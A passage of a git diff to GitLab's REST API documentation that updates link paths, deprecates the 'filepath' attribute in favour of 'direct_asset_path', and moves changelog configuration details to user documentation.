[URL-encoded path of the project](../index.md#namespaced-path-encoding). | -| `tag_name` | string | yes | The tag associated with the Release. | -| `name` | string | yes | The name of the link. Link names must be unique in the release. | -| `url` | string | yes | The URL of the link. Link URLs must be unique in the release. | -| `filepath` | string | no | Optional path for a [Direct Asset link](../../user/project/releases/release_fields.md#permanent-links-to-release-assets). | -| `link_type` | string | no | The type of the link: `other`, `runbook`, `image`, `package`. Defaults to `other`. | +| Attribute | Type | Required | Description | +|----------------------|----------------|----------|---------------------------------------------------------------------------------------------------------------------------| +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](../rest/index.md#namespaced-path-encoding). | +| `tag_name` | string | yes | The tag associated with the Release. | +| `name` | string | yes | The name of the link. Link names must be unique in the release. | +| `url` | string | yes | The URL of the link. Link URLs must be unique in the release. | +| `filepath` | string | no | Deprecated: Use `direct_asset_path` instead. | +| `direct_asset_path` | string | no | Optional path for a [direct asset link](../../user/project/releases/release_fields.md#permanent-links-to-release-assets). | +| `link_type` | string | no | The type of the link: `other`, `runbook`, `image`, `package`. Defaults to `other`. | Example request: @@ -109,7 +110,7 @@ curl --request POST \ --header "PRIVATE-TOKEN: <your_access_token>" \ --data name="hellodarwin-amd64" \ --data url="https://gitlab.example.com/mynamespace/hello/-/jobs/688/artifacts/raw/bin/hello-darwin-amd64" \ - --data filepath="/bin/hellodarwin-amd64" \ + --data direct_asset_path="/bin/hellodarwin-amd64" \ "https://gitlab.example.com/api/v4/projects/20/releases/v1.7.0/assets/links" ``` @@ -121,7 +122,7 @@ Example response: "name":"hellodarwin-amd64", "url":"https://gitlab.example.com/mynamespace/hello/-/jobs/688/artifacts/raw/bin/hello-darwin-amd64", "direct_asset_url":"https://gitlab.example.com/mynamespace/hello/-/releases/v1.7.0/downloads/bin/hellodarwin-amd64", - "external":false, + "external":false, // deprecated in GitLab 15.9, will be removed in GitLab 16.0. "link_type":"other" } ``` @@ -134,15 +135,16 @@ Updates an asset as a link from a release. PUT /projects/:id/releases/:tag_name/assets/links/:link_id ``` -| Attribute | Type | Required | Description | -| ------------- | -------------- | -------- | --------------------------------------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](../index.md#namespaced-path-encoding). | -| `tag_name` | string | yes | The tag associated with the Release. | -| `link_id` | integer | yes | The ID of the link. | -| `name` | string | no | The name of the link. | -| `url` | string | no | The URL of the link. | -| `filepath` | string | no | Optional path for a [Direct Asset link](../../user/project/releases/release_fields.md#permanent-links-to-release-assets). -| `link_type` | string | no | The type of the link: `other`, `runbook`, `image`, `package`. Defaults to `other`. | +| Attribute | Type | Required | Description | +| -------------------- | -------------- | -------- | ------------------------------------------------------------------------------------------------------------------------- | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](../rest/index.md#namespaced-path-encoding). | +| `tag_name` | string | yes | The tag associated with the Release. | +| `link_id` | integer | yes | The ID of the link. | +| `name` | string | no | The name of the link. | +| `url` | string | no | The URL of the link. | +| `filepath` | string | no | Deprecated: Use `direct_asset_path` instead. | +| `direct_asset_path` | string | no | Optional path for a [direct asset link](../../user/project/releases/release_fields.md#permanent-links-to-release-assets). | +| `link_type` | string | no | The type of the link: `other`, `runbook`, `image`, `package`. Defaults to `other`. | NOTE: You have to specify at least one of `name` or `url` @@ -162,7 +164,7 @@ Example response: "id":1, "name":"new name", "url":"http://192.168.10.15:3000", - "external":true, + "external":true, // deprecated in GitLab 15.9, will be removed in GitLab 16.0. "link_type":"runbook" } ``` @@ -177,7 +179,7 @@ DELETE /projects/:id/releases/:tag_name/assets/links/:link_id | Attribute | Type | Required | Description | | ------------- | -------------- | -------- | --------------------------------------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](../index.md#namespaced-path-encoding). | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](../rest/index.md#namespaced-path-encoding). | | `tag_name` | string | yes | The tag associated with the Release. | | `link_id` | integer | yes | The ID of the link. | @@ -194,7 +196,7 @@ Example response: "id":1, "name":"new name", "url":"http://192.168.10.15:3000", - "external":true, + "external":true, // deprecated in GitLab 15.9, will be removed in GitLab 16.0. "link_type":"other" } ``` diff --git a/doc/api/remote_mirrors.md b/doc/api/remote_mirrors.md index 00dc34e261a..93dffe69ef5 100644 --- a/doc/api/remote_mirrors.md +++ b/doc/api/remote_mirrors.md @@ -14,6 +14,11 @@ can query and modify the state of these mirrors with the remote mirror API. For security reasons, the `url` attribute in the API response is always scrubbed of username and password information. +NOTE: +[Pull mirrors](../user/project/repository/mirror/pull.md) use +[a different API endpoint](projects.md#configure-pull-mirroring-for-a-project) to +display and update them. + ## List a project's remote mirrors Returns an array of remote mirrors and their statuses: diff --git a/doc/api/repositories.md b/doc/api/repositories.md index dcbb5d14741..a34fde54e90 100644 --- a/doc/api/repositories.md +++ b/doc/api/repositories.md @@ -20,7 +20,7 @@ command. For more information, refer to the section in the Git internals documentation. WARNING: -This endpoint changed to [keyset-based pagination](index.md#keyset-based-pagination) +This endpoint changed to [keyset-based pagination](rest/index.md#keyset-based-pagination) in GitLab 15.0. Iterating pages of results with a number (`?page=2`) is unsupported. ```plaintext @@ -31,11 +31,11 @@ Supported attributes: | Attribute | Type | Required | Description | | :---------- | :------------- | :------- | :---------- | -| `id` | integer or string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user. | +| `id` | integer or string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user. | | `page_token` | string | no | The tree record ID at which to fetch the next page. Used only with keyset pagination. | -| `pagination` | string | no | If `keyset`, use the [keyset-based pagination method](index.md#keyset-based-pagination). | +| `pagination` | string | no | If `keyset`, use the [keyset-based pagination method](rest/index.md#keyset-based-pagination). | | `path` | string | no | The path inside the repository. Used to get content of subdirectories. | -| `per_page` | integer | no | Number of results to show per page. If not specified, defaults to `20`. [Learn more on pagination](index.md#pagination). | +| `per_page` | integer | no | Number of results to show per page. If not specified, defaults to `20`. For more information, see [Pagination](rest/index.md#pagination). | | `recursive` | boolean | no | Boolean value used to get a recursive tree. Default is `false`. | | `ref` | string | no | The name of a repository branch or tag or, if not given, the default branch. | @@ -107,7 +107,7 @@ Supported attributes: | Attribute | Type | Required | Description | | :-------- | :------------- | :------- | :---------- | -| `id` | integer or string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user. | +| `id` | integer or string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user. | | `sha` | string | yes | The blob SHA. | ## Raw blob content @@ -123,7 +123,7 @@ Supported attributes: | Attribute | Type | Required | Description | | :-------- | :------- | :------- | :---------- | -| `id` | integer or string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user. | +| `id` | integer or string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user. | | `sha` | string | yes | The blob SHA. | ## Get file archive @@ -157,7 +157,7 @@ Supported attributes: | Attribute | Type | Required | Description | |:------------|:---------------|:---------|:----------------------| -| `id` | integer or string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user. | +| `id` | integer or string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user. | | `path` | string | no | The subpath of the repository to download. If an empty string, defaults to the whole repository. | | `sha` | string | no | The commit SHA to download. A tag, branch reference, or SHA can be used. If not specified, defaults to the tip of the default branch. | @@ -181,7 +181,7 @@ Supported attributes: | Attribute | Type | Required | Description | | :--------- | :------------- | :------- | :---------- | -| `id` | integer or string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user. | +| `id` | integer or string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user. | | `from` | string | yes | The commit SHA or branch name. | | `to` | string | yes | The commit SHA or branch name. | | `from_project_id` | integer | no | The ID to compare from. | @@ -243,7 +243,7 @@ Supported attributes: | Attribute | Type | Required | Description | | :--------- | :------------- | :------- | :---------- | -| `id` | integer or string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user. | +| `id` | integer or string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user. | | `order_by` | string | no | Return contributors ordered by `name`, `email`, or `commits` (orders by commit date) fields. Default is `commits`. | | `sort` | string | no | Return contributors sorted in `asc` or `desc` order. Default is `asc`. | @@ -275,7 +275,7 @@ GET /projects/:id/repository/merge_base | Attribute | Type | Required | Description | | --------- | -------------- | -------- | ---------------------------------------------------------------------------------- | -| `id` | integer or string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding). | +| `id` | integer or string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding). | | `refs` | array | yes | The refs to find the common ancestor of. Accepts multiple refs. | Example request: @@ -316,11 +316,15 @@ of commits, GitLab generates a changelog for all commits that use a particular a new Markdown-formatted section to a changelog file in the Git repository of the project. The output format can be customized. +For user-facing documentation, see [Changelogs](../user/project/changelogs.md). + ```plaintext POST /projects/:id/repository/changelog ``` -Supported attributes: +### Supported attributes + +Changelogs support these attributes: | Attribute | Type | Required | Description | | :-------- | :------- | :--------- | :---------- | @@ -403,319 +407,6 @@ To store the results in a different file, use the `file` parameter: curl --request POST --header "PRIVATE-TOKEN: token" --data "version=1.0.0&file=NEWS" "https://gitlab.com/api/v4/projects/42/repository/changelog" ``` -### How it works - -Changelogs are generated based on commit titles. Commits are only included if -they contain a specific Git trailer. GitLab uses the value of this trailer to -categorize the changes. - -GitLab uses Git trailers, because Git trailers are -supported by Git out of the box. We use commits as input, as this is the only -source of data every project uses. In addition, commits can be retrieved when -operating on a mirror. This is important for GitLab itself, because during a security -release we might need to include changes from both public projects and private -security mirrors. - -Changelogs are generated by taking the title of the commits to include and using -these as the changelog entries. You can enrich entries with additional data, -such as a link to the merge request or details about the commit author. You can -[customize the format of a changelog](#customize-the-changelog-output) section with a template. - -Trailers can be manually added while editing a commit message. To include a commit -using the default trailer of `Changelog` and categorize it as a feature, the -trailer could be added to a commit message like so: - -```plaintext -<Commit message subject> - -<Commit message description> - -Changelog: feature -``` - -### Reverted commits - -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/55537) in GitLab 13.10. - -When generating a changelog for a range, GitLab ignores commits both added and -reverted in that range. Revert commits themselves _are_ included if they use the -Git trailer used for generating changelogs. - -Imagine the following scenario: you have three commits: A, B, and C. To generate -changelogs, you use the default trailer `Changelog`. Both A and B use this -trailer. Commit C is a commit that reverts commit B. When generating a changelog -for this range, GitLab only includes commit A. - -Revert commits are detected by looking for commits where the message contains -the pattern `This reverts commit SHA`, where `SHA` is the SHA of the commit that -is reverted. - -If a revert commit includes the trailer used for generating changelogs -(`Changelog` in the above example), the revert commit itself _is_ included. - -### Customize the changelog output - -The output is customized using a YAML configuration file stored in your -project's Git repository. This default configuration file path is -`.gitlab/changelog_config.yml`. - -You can set the following variables in this file: - -- `date_format`: the date format to use in the title of the newly added - changelog data. This uses regular `strftime` formatting. -- `template`: a custom template to use for generating the changelog data. -- `categories`: a hash that maps raw category names to the names to use in the - changelog. -- `include_groups`: a list of group full paths containing users whose - contributions should be credited regardless of project membership. The user - generating the changelog must have access to each group or the members will - not be credited. - -Using the default settings, generating a changelog results in a section along -the lines of the following: - -```markdown -## 1.0.0 (2021-01-05) - -### Features (4 changes) - -- [Feature 1](gitlab-org/gitlab@123abc) by @alice ([merge request](gitlab-org/gitlab!123)) -- [Feature 2](gitlab-org/gitlab@456abc) ([merge request](gitlab-org/gitlab!456)) -- [Feature 3](gitlab-org/gitlab@234abc) by @steve -- [Feature 4](gitlab-org/gitlab@456) -``` - -Each section starts with a title that contains the version and release date. -While the format of the date can be customized, the rest of the title can't be -changed. When adding a new section, GitLab parses these titles to determine -where in the file the new section should be placed. GitLab sorts sections -according to their versions, not their dates. - -Each section can have categories, each with their -corresponding changes. In the above example, "Features" is one such category. -You can customize the format of these sections. - -The section names are derived from the values of the Git trailer used to include -or exclude commits. - -For example, if the trailer to use is called `Changelog`, -and its value is `feature`, then the commit is grouped in the `feature` -category. The names of these raw values might differ from what you want to -show in a changelog, you can remap them. Let's say we use the `Changelog` -trailer and developers use the following values: `feature`, `bug`, and -`performance`. - -You can remap these using the following YAML configuration file: - -```yaml ---- -categories: - feature: Features - bug: Bug fixes - performance: Performance improvements -``` - -When generating the changelog data, the category titles are then `### Features`, -`### Bug fixes`, and `### Performance improvements`. - -### Custom templates - -The category sections are generated using a template. The default template is as -follows: - -```plaintext -{% if categories %} -{% each categories %} -### {{ title }} ({% if single_change %}1 change{% else %}{{ count }} changes{% end %}) - -{% each entries %} -- [{{ title }}]({{ commit.reference }})\ -{% if author.credit %} by {{ author.reference }}{% end %}\ -{% if merge_request %} ([merge request]({{ merge_request.reference }})){% end %} - -{% end %} - -{% end %} -{% else %} -No changes. -{% end %} -``` - -The `{% ... %}` tags are for statements, and `{{ ... }}` is used for printing -data. Statements must be terminated using a `{% end %}` tag. Both the `if` and -`each` statements require a single argument. - -For example, if we have a variable `valid`, and we want to display "yes" -when this value is true, and display "nope" otherwise. We can do so as follows: - -```plaintext -{% if valid %} -yes -{% else %} -nope -{% end %} -``` - -The use of `else` is optional. A value is considered true when it's a non-empty -value or boolean `true`. Empty arrays and hashes are considered false. - -Looping is done using `each`, and variables inside a loop are scoped to it. -Referring to the current value in a loop is done using the variable tag `{{ it -}}`. Other variables read their value from the current loop value. Take -this template for example: - -```plaintext -{% each users %} -{{name}} -{% end %} -``` - -Assuming `users` is an array of objects, each with a `name` field, this would -then print the name of every user. - -Using variable tags, you can access nested objects. For example, `{{ -users.0.name }}` prints the name of the first user in the `users` variable. - -If a line ends in a backslash, the next newline is ignored. This allows you to -wrap code across multiple lines, without introducing unnecessary newlines in the -Markdown output. - -Tags that use `{%` and `%}` (known as expression tags) consume the newline that -directly follows them, if any. This means that this: - -```plaintext ---- -{% if foo %} -bar -{% end %} ---- -``` - -Compiles into this: - -```plaintext ---- -bar ---- -``` - -Instead of this: - -```plaintext ---- - -bar - ---- -``` - -You can specify a custom template in your configuration like so: - -```yaml ---- -template: | - {% if categories %} - {% each categories %} - ### {{ title }} - - {% each entries %} - - [{{ title }}]({{ commit.reference }})\ - {% if author.credit %} by {{ author.reference }}{% end %} - - {% end %} - - {% end %} - {% else %} - No changes. - {% end %} -``` - -When specifying the template you should use `template: |` and not -`template: >`, as the latter doesn't preserve newlines in the template. - -### Template data - -At the top level, the following variable is available: - -- `categories`: an array of objects, one for every changelog category. - -In a category, the following variables are available: - -- `count`: the number of entries in this category. -- `entries`: the entries that belong to this category. -- `single_change`: a boolean that indicates if there is only one change (`true`), - or multiple changes (`false`). -- `title`: the title of the category (after it has been remapped). - -In an entry, the following variables are available (here `foo.bar` means that -`bar` is a sub-field of `foo`): - -- `author.contributor`: a boolean set to `true` when the author is not a project - member, otherwise `false`. -- `author.credit`: a boolean set to `true` when `author.contributor` is `true` or - when `include_groups` is configured, and the author is a member of one of the - groups. -- `author.reference`: a reference to the commit author (for example, `@alice`). -- `commit.reference`: a reference to the commit, for example, - `gitlab-org/gitlab@0a4cdd86ab31748ba6dac0f69a8653f206e5cfc7`. -- `commit.trailers`: an object containing all the Git trailers that were present - in the commit body. -- `merge_request.reference`: a reference to the merge request that first - introduced the change (for example, `gitlab-org/gitlab!50063`). -- `title`: the title of the changelog entry (this is the commit title). - -The `author` and `merge_request` objects might not be present if the data -couldn't be determined. For example, when a commit is created without a -corresponding merge request, no merge request is displayed. - -### Customize the tag format when extracting versions - -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/56889) in GitLab 13.11. - -GitLab uses a regular expression (using the -[re2](https://github.com/google/re2/) engine and syntax) to extract a semantic -version from tag names. The default regular expression is: - -```plaintext -^v?(?P<major>0|[1-9]\d*)\.(?P<minor>0|[1-9]\d*)\.(?P<patch>0|[1-9]\d*)(?:-(?P<pre>(?:0|[1-9]\d*|\d*[a-zA-Z-][0-9a-zA-Z-]*)(?:\.(?:0|[1-9]\d*|\d*[a-zA-Z-][0-9a-zA-Z-]*))*))?(?:\+(?P<meta>[0-9a-zA-Z-]+(?:\.[0-9a-zA-Z-]+)*))?$ -``` - -This regular expression is based on the official -[semantic versioning](https://semver.org/) regular expression, and also includes -support for tag names that start with the letter `v`. - -If your project uses a different format for tags, you can specify a different -regular expression. The regular expression used _must_ produce the following -capture groups. If any of these capture groups are missing, the tag is ignored: - -- `major` -- `minor` -- `patch` - -The following capture groups are optional: - -- `pre`: If set, the tag is ignored. Ignoring `pre` tags ensures release candidate - tags and other pre-release tags are not considered when determining the range of - commits to generate a changelog for. -- `meta`: Optional. Specifies build metadata. - -Using this information, GitLab builds a map of Git tags and their release -versions. It then determines what the latest tag is, based on the version -extracted from each tag. - -To specify a custom regular expression, use the `tag_regex` setting in your -changelog configuration YAML file. For example, this pattern matches tag names -such as `version-1.2.3` but not `version-1.2`. - -```yaml ---- -tag_regex: '^version-(?P<major>\d+)\.(?P<minor>\d+)\.(?P<patch>\d+)$' -``` - -To test if your regular expression is working, you can use websites such as -[regex101](https://regex101.com/). If the regular expression syntax is invalid, -an error is produced when generating a changelog. - ## Generate changelog data > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/345934) in GitLab 14.6. @@ -738,7 +429,7 @@ Supported attributes: | `config_file` | string | no | The path of changelog configuration file in the project's Git repository, defaults to `.gitlab/changelog_config.yml`. | | `date` | datetime | no | The date and time of the release, ISO 8601 formatted. Example: `2016-03-11T03:45:40Z`. Defaults to the current time. | | `from` | string | no | The start of the range of commits (as a SHA) to use for generating the changelog. This commit itself isn't included in the list. | -| `to` | string | no | The end of the range of commits (as a SHA) to use for the changelog. This commit _is_ included in the list. Defaults to the branch specified in the `branch` attribute. | +| `to` | string | no | The end of the range of commits (as a SHA) to use for the changelog. This commit _is_ included in the list. Defaults to the HEAD of the default project branch. | | `trailer` | string | no | The Git trailer to use for including commits, defaults to `Changelog`. | ```shell @@ -752,3 +443,8 @@ Example Response: "notes": "## 1.0.0 (2021-11-17)\n\n### feature (2 changes)\n\n- [Title 2](namespace13/project13@ad608eb642124f5b3944ac0ac772fecaf570a6bf) ([merge request](namespace13/project13!2))\n- [Title 1](namespace13/project13@3c6b80ff7034fa0d585314e1571cc780596ce3c8) ([merge request](namespace13/project13!1))\n" } ``` + +## Related topics + +- User documentation for [changelogs](../user/project/changelogs.md) +- Developer documentation for [changelog entries](../development/changelog.md) in GitLab. diff --git a/doc/api/repository_files.md b/doc/api/repository_files.md index e105f5ee5e3..23243cdadc2 100644 --- a/doc/api/repository_files.md +++ b/doc/api/repository_files.md @@ -39,7 +39,7 @@ curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/a | Attribute | Type | Required | Description | |-------------|----------------|----------|-------------| -| `id` | integer or string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user. | +| `id` | integer or string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user. | | `file_path` | string | yes | URL encoded full path to new file, such as `lib%2Fclass%2Erb`. | | `ref` | string | yes | The name of branch, tag or commit. | @@ -103,7 +103,7 @@ GET /projects/:id/repository/files/:file_path/blame | Attribute | Type | Required | Description | |-----------------|-------------------|----------|-------------| -| `id` | integer or string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user. | +| `id` | integer or string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user. | | `file_path` | string | yes | URL-encoded full path to new file, such as`lib%2Fclass%2Erb`. | | `ref` | string | yes | The name of branch, tag or commit. | | `range[end]` | integer | yes | The last line of the range to blame. | @@ -211,7 +211,7 @@ GET /projects/:id/repository/files/:file_path/raw | Attribute | Type | Required | Description | |-------------|----------------|----------|------------| -| `id` | integer or string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user. | +| `id` | integer or string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user. | | `file_path` | string | yes | URL-encoded full path to new file, such as `lib%2Fclass%2Erb`. | | `ref` | string | yes | The name of branch, tag or commit. Default is the `HEAD` of the project. | | `lfs` | boolean | no | Determines if the response should be Git LFS file contents, rather than the pointer. If the file is not tracked by Git LFS, ignored. Defaults to `false`. | @@ -240,7 +240,7 @@ POST /projects/:id/repository/files/:file_path | `commit_message` | string | yes | The commit message. | | `content` | string | yes | The file's content. | | `file_path` | string | yes | URL-encoded full path to new file. For example: `lib%2Fclass%2Erb`. | -| `id` | integer or string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user. | +| `id` | integer or string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user. | | `author_email` | string | no | The commit author's email address. | | `author_name` | string | no | The commit author's name. | | `encoding` | string | no | Change encoding to `base64`. Default is `text`. | @@ -281,7 +281,7 @@ PUT /projects/:id/repository/files/:file_path | `commit_message` | string | yes | The commit message. | | `content` | string | yes | The file's content. | | `file_path` | string | yes | URL-encoded full path to new file. For example: `lib%2Fclass%2Erb`. | -| `id` | integer or string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer or string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `author_email` | string | no | The commit author's email address. | | `author_name` | string | no | The commit author's name. | | `encoding` | string | no | Change encoding to `base64`. Default is `text`. | @@ -329,7 +329,7 @@ DELETE /projects/:id/repository/files/:file_path | `branch` | string | yes | Name of the new branch to create. The commit is added to this branch. | | `commit_message` | string | yes | The commit message. | | `file_path` | string | yes | URL-encoded full path to new file. For example: `lib%2Fclass%2Erb`. | -| `id` | integer or string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user. | +| `id` | integer or string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user. | | `author_email` | string | no | The commit author's email address. | | `author_name` | string | no | The commit author's name. | | `last_commit_id` | string | no | Last known file commit ID. | diff --git a/doc/api/repository_submodules.md b/doc/api/repository_submodules.md index 1dd65ed60b8..b4988b39eaf 100644 --- a/doc/api/repository_submodules.md +++ b/doc/api/repository_submodules.md @@ -19,7 +19,7 @@ PUT /projects/:id/repository/submodules/:submodule | Attribute | Type | Required | Description | | --------- | ---- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `submodule` | string | yes | URL-encoded full path to the submodule. For example, `lib%2Fclass%2Erb` | | `branch` | string | yes | Name of the branch to commit into | | `commit_sha` | string | yes | Full commit SHA to update the submodule to | diff --git a/doc/api/resource_groups.md b/doc/api/resource_groups.md index 114dc4e383e..cdba0c01f4f 100644 --- a/doc/api/resource_groups.md +++ b/doc/api/resource_groups.md @@ -16,7 +16,7 @@ GET /projects/:id/resource_groups | Attribute | Type | Required | Description | |-----------|---------|----------|---------------------| -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user | ```shell curl --header "PRIVATE-TOKEN: <your_access_token>" "https://gitlab.example.com/api/v4/projects/1/resource_groups" @@ -44,7 +44,7 @@ GET /projects/:id/resource_groups/:key | Attribute | Type | Required | Description | |-----------|---------|----------|---------------------| -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `key` | string | yes | The key of the resource group | ```shell @@ -71,7 +71,7 @@ GET /projects/:id/resource_groups/:key/upcoming_jobs | Attribute | Type | Required | Description | |-----------|---------|----------|---------------------| -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `key` | string | yes | The key of the resource group | ```shell @@ -170,7 +170,7 @@ PUT /projects/:id/resource_groups/:key | Attribute | Type | Required | Description | | --------------- | ------- | --------------------------------- | ------------------------------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) owned by the authenticated user | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) owned by the authenticated user | | `key` | string | yes | The key of the resource group | | `process_mode` | string | no | The process mode of the resource group. One of `unordered`, `oldest_first` or `newest_first`. Read [process modes](../ci/resource_groups/index.md#process-modes) for more information. | diff --git a/doc/api/resource_iteration_events.md b/doc/api/resource_iteration_events.md index 41e1ddd725b..e8537750f0d 100644 --- a/doc/api/resource_iteration_events.md +++ b/doc/api/resource_iteration_events.md @@ -26,7 +26,7 @@ GET /projects/:id/issues/:issue_iid/resource_iteration_events | Attribute | Type | Required | Description | | ----------- | -------------- | -------- | ------------------------------------------------------------------------------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) | | `issue_iid` | integer | yes | The IID of an issue | Example request: @@ -108,7 +108,7 @@ Parameters: | Attribute | Type | Required | Description | | ----------------------------- | -------------- | -------- | ------------------------------------------------------------------------------- | -| `id` | integer/string | yes | The ID or [URL-encoded path](index.md#namespaced-path-encoding) of the project | +| `id` | integer/string | yes | The ID or [URL-encoded path](rest/index.md#namespaced-path-encoding) of the project | | `issue_iid` | integer | yes | The IID of an issue | | `resource_iteration_event_id` | integer | yes | The ID of an iteration event | diff --git a/doc/api/resource_label_events.md b/doc/api/resource_label_events.md index 62a37806459..9f0c9db6d71 100644 --- a/doc/api/resource_label_events.md +++ b/doc/api/resource_label_events.md @@ -21,7 +21,7 @@ GET /projects/:id/issues/:issue_iid/resource_label_events | Attribute | Type | Required | Description | | ------------------- | ---------------- | ---------- | ------------ | -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) | | `issue_iid` | integer | yes | The IID of an issue | ```json @@ -87,7 +87,7 @@ Parameters: | Attribute | Type | Required | Description | | --------------- | -------------- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) | | `issue_iid` | integer | yes | The IID of an issue | | `resource_label_event_id` | integer | yes | The ID of a label event | @@ -107,7 +107,7 @@ GET /groups/:id/epics/:epic_id/resource_label_events | Attribute | Type | Required | Description | | ------------------- | ---------------- | ---------- | ------------ | -| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) | +| `id` | integer/string | yes | The ID or [URL-encoded path of the group](rest/index.md#namespaced-path-encoding) | | `epic_id` | integer | yes | The ID of an epic | ```json @@ -173,7 +173,7 @@ Parameters: | Attribute | Type | Required | Description | | --------------- | -------------- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the group](index.md#namespaced-path-encoding) | +| `id` | integer/string | yes | The ID or [URL-encoded path of the group](rest/index.md#namespaced-path-encoding) | | `epic_id` | integer | yes | The ID of an epic | | `resource_label_event_id` | integer | yes | The ID of a label event | @@ -193,7 +193,7 @@ GET /projects/:id/merge_requests/:merge_request_iid/resource_label_events | Attribute | Type | Required | Description | | ------------------- | ---------------- | ---------- | ------------ | -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) | | `merge_request_iid` | integer | yes | The IID of a merge request | ```json @@ -259,7 +259,7 @@ Parameters: | Attribute | Type | Required | Description | | ------------------- | -------------- | -------- | ----------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) | | `merge_request_iid` | integer | yes | The IID of a merge request | | `resource_label_event_id` | integer | yes | The ID of a label event | diff --git a/doc/api/resource_milestone_events.md b/doc/api/resource_milestone_events.md index d1e0b4fe053..897f5bf7ca2 100644 --- a/doc/api/resource_milestone_events.md +++ b/doc/api/resource_milestone_events.md @@ -25,7 +25,7 @@ GET /projects/:id/issues/:issue_iid/resource_milestone_events | Attribute | Type | Required | Description | | ----------- | -------------- | -------- | ------------------------------------------------------------------------------- | -| `id` | integer/string | yes | The ID or [URL-encoded path of the project](index.md#namespaced-path-encoding) | +| `id` | integer/string | yes | The ID or [URL-encoded path of the project](rest/index.md#namespaced-path-encoding) | | `issue_iid` | integer | yes | The IID of an issue | Example request: @@ -109,7 +109,7 @@ Parameters: | Attribute | Type | Required | Description | | ----------------------------- | -------------- | -------- | ------------------------------------------------------------------------------- | -| `id` | integer/string | yes | The ID or [URL-encoded path](index.md#namespaced-path-encoding) of the project | +| `id` | integer/string | yes | The ID or [URL-encoded path](rest/index.md#namespaced-path-encoding) of the project | | `issue_iid` | integer | yes | The IID of an issue | | `resource_milestone_event_id` | integer | yes | The ID of a milestone event | @@ -131,7 +131,7 @@ GET 